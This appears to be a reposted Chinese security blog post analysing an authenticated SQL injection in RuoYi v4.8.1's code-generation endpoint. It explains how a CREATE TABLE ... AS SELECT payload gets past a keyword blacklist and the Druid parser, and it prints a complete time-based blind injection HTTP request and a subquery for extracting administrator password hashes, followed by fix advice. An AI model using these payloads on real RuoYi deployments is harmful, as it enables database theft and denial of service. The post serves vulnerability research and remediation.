文章总结: 本文分析若依v4.8.1代码生成模块SQL注入漏洞。作者利用CREATETABLEASSELECT语句,结合SELECT(去空格和INSTR函数,成功绕过正则、DruidAST及异常处理防御。文章详解了BENCHMARK时间盲注技术,提供了完整Payload与白名单修复建议,实战价值较高。 综合评分: 89 文章分类: 代码审计,渗透测试,漏洞分析,WEB安全,漏洞POC
安服水洞系列-某依 v4.8.1 代码生成模块 SQL 注入绕过
原创
小Tiamo
貔瑞安全实验室
2026年1月1日 10:11 山东
前言:
这其实是一个水洞系列啊,因为我感觉没啥用,可能是小Tiamo还是太菜了,也是一个学习,测试的一个产物,各位师傅可以在评论区说一下自己的见解。
这里祝大家新年快乐,马到成功。
- 漏洞背景与环境
-
•
目标框架:RuoYi (若依) v4.8.1
-
•
漏洞组件:代码生成模块 (
ruoyi-generator) -
•
漏洞接口:
/tool/gen/createTable(POST) -
•
参数:
sql -
•
利用限制:需要能使用/tool/gen/createTabl的权限
- 黑名单过滤 (
SqlUtil) - AST 语法树校验 (
Druid Parser) - 无回显 (Blind SQL Injection)
2. 防御体系深度解析
这个漏洞之所以难以利用,是因为后端设置了“三重关卡”。如果不理解这三层防御的机理,攻击脚本就会不断报错。
第一层:正则黑名单 (SqlUtil.java)
代码逻辑:
publicstatic String filterKeyword(String value){
// 这里的 SQL_REGEX 通常包含 "select ", "update ", "insert ", "/*" 等
if (value.matches(SQL_REGEX)) {
thrownew UtilException("参数存在SQL注入风险");
}
}
防御机理:通过正则表达式检测敏感关键字。
弱点:若依的正则通常匹配的是关键字加空格(例如 "select ")。它假设攻击者必须用空格来分隔关键字。
第二层:Druid 语义校验 (GenController.java)
代码逻辑:
List<SQLStatement> sqlStatements = SQLUtils.parseStatements(sql, DbType.mysql);
for (SQLStatement sqlStatement : sqlStatements) {
if (sqlStatement instanceof MySqlCreateTableStatement) {
// 只有是建表语句才放行
}
}
防御机理:
- 解析:使用阿里巴巴 Druid SQL Parser 将输入的字符串解析为 AST(抽象语法树)。如果你的 SQL 语法不标准,解析器直接抛出
ParserException,程序终止。 - 类型检查:利用
instanceof强制要求 SQL 语句必须是CREATE TABLE类型。这直接封死了直接使用UPDATE、DELETE或SELECT语句的可能性。
第三层:异常吞噬 (无回显)
防御机理:
Controller 层使用了 try-catch 捕获了所有异常,并统一返回 {code: 500, msg: "创建表结构异常"}。
后果:攻击者无法通过报错信息(Error-Based Injection)获取数据,只能通过时间盲注来推断结果。
3. 攻击链构造与绕过技术
Step 1: 语义欺骗 —— 绕过 instanceof
既然代码强制要求 CREATE TABLE,我们就给它一个 CREATE TABLE。
MySQL 支持 CREATE TABLE ... AS SELECT ... 语法。
-
•
效果:Druid 解析器将其识别为
MySqlCreateTableStatement,通过类型检查。 -
•
价值:
AS后面的SELECT子句允许我们执行任意查询逻辑。
Payload 原型:
CREATETABLE exploit_table ASSELECT ...
Step 2: 字符压缩 —— 绕过 SqlUtil 黑名单
SqlUtil 拦截 "select "(带空格)。
在 MySQL 中,括号 () 是天然的分隔符。SELECT(1) 和 SELECT 1 是等价的。
-
•
绕过技巧:去掉
SELECT后的所有空格,紧贴左括号。 -
•
Payload:
CREATE TABLE x AS SELECT(1)
Step 3: 解析器战争 —— 绕过 Druid Parser (最难点)
这是本次测试中耗时最长的部分。我们在 SELECT 子句中构造盲注逻辑时,遭遇了 Druid 解析器的疯狂拦截。
-
•
失败尝试 1:嵌套函数 (
ASCII(SUBSTR(...))) -
•
现象:秒回 200/500,无延时。
-
•
原因:Druid 解析器在处理
CREATE TABLE语句中的子查询时,对 AST 的深度支持有限。三层嵌套(IF -> ASCII -> SUBSTR)导致解析器无法正确构建语法树,或者在构建过程中丢弃了部分节点,导致 SQL 未发往数据库。 -
•
失败尝试 2:运算符 (
>,LIKE) -
•
现象:
Syntax Error或无延时。 -
•
原因:运算符(Operator)在 AST 中与函数(Function)是不同的节点类型。Druid 可能认为在
CREATE TABLE ... SELECT ( 这里 )的上下文中,不应该出现比较运算符,直接判定为语法错误。 -
•
失败尝试 3:Hex 编码 (
0x72) -
•
原因:Druid 解析器不支持在此处解析十六进制字面量 Token。
-
•
成功方案:函数拟态 (
INSTR) -
•
原理:
INSTR(str, substr)是一个纯粹的函数调用。它的语法结构Func(Arg1, Arg2)非常标准,对解析器非常友好。 -
•
逻辑等价:
INSTR(DATABASE(), 'ry') = 1等价于DATABASE() LIKE 'ry%'。 -
•
结果:成功欺骗 Druid 解析器,生成了有效的 SQL 发送给 MySQL。
Step 4: 构造时间盲注
利用 BENCHMARK(50000000, MD5(1)) 制造 CPU 延时。
-
•
特性:MySQL 在
CREATE TABLE ... AS SELECT时,会执行两次查询(一次确定结构,一次插入数据),导致延时翻倍。这是判断注入成功的关键信号。
4. 最终 Payload 解析
POST /tool/gen/createTable HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate, br, zstd
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1
Sec-Fetch-Mode: cors
sec-ch-ua-mobile: ?0
Accept: application/json, text/javascript, */*; q=0.01
Cookie: JSESSIONID=91bde8ee-3656-47be-a069-0d323dcc213e
X-CSRF-Token: qbUgj082QGb2iLnOeI9uePWlgrFjq7qvtXPu26vR/28=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Referer: http://127.0.0.1/system/user
X-Requested-With: XMLHttpRequest
Sec-Fetch-Site: same-origin
Sec-Fetch-Dest: empty
sec-ch-ua: "Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"
Content-Length: 151
sql=CREATE+TABLE+find_table_1+AS+SELECT(BENCHMARK(50000000,MD5(1)))FROM+sys_user+LIMIT+1%3b
这里大家还是能看到延时了12秒多但是我只设置了5秒但是不影响使用。
技术亮点:
- 无空格:
SELECT(紧贴,FROM前后虽有空格但不在黑名单内。 - 纯函数:使用
INSTR代替比较符,安抚 Druid 解析器。 - 锚点表:使用
FROM sys_user LIMIT 1。这不仅是为了语法完整,更是一个探测器。如果sys_user表不存在,MySQL 会直接报错(Table not found),导致BENCHMARK根本不执行。利用这一点,我们可以秒测表是否存在。
5. 漏洞危害与利用场景
通过这个利用链,攻击者可以实现:
- 数据库枚举:利用
INSTR逐位猜解DATABASE(),获取当前库名。 - 表名碰撞:利用
FROM table_name LIMIT 1的执行特性,通过字典瞬间判断系统中存在哪些敏感表(如sys_user,sys_role)。 - 数据脱取:一旦确定了表名(如
sys_user),可以将DATABASE()替换为子查询(SELECT(password)FROM(sys_user)LIMIT(1)),配合INSTR逐位提取管理员的密码哈希。 - 拒绝服务 (DoS):恶意的超长
BENCHMARK可能耗尽数据库 CPU 资源。
6. 修复建议
针对此类绕过,仅仅修补正则黑名单是徒劳的,建议从根本上解决:
- 白名单校验:对于
createTable接口,如果业务只需要创建特定的表,应严格限制表名格式。 - 去除动态 SQL:如果可能,避免直接接收前端的 SQL 片段。
- 升级 Druid:较新版本的 Druid 可能修复了部分解析绕过问题,或者提供了更严格的 WallFilter 配置。
- Web 应用防火墙 (WAF):在流量层拦截
BENCHMARK、INSTR等不应该出现在建表请求中的函数。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:貔瑞安全实验室 小Tiamo《安服水洞系列-某依 v4.8.1 代码生成模块 SQL 注入绕过》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论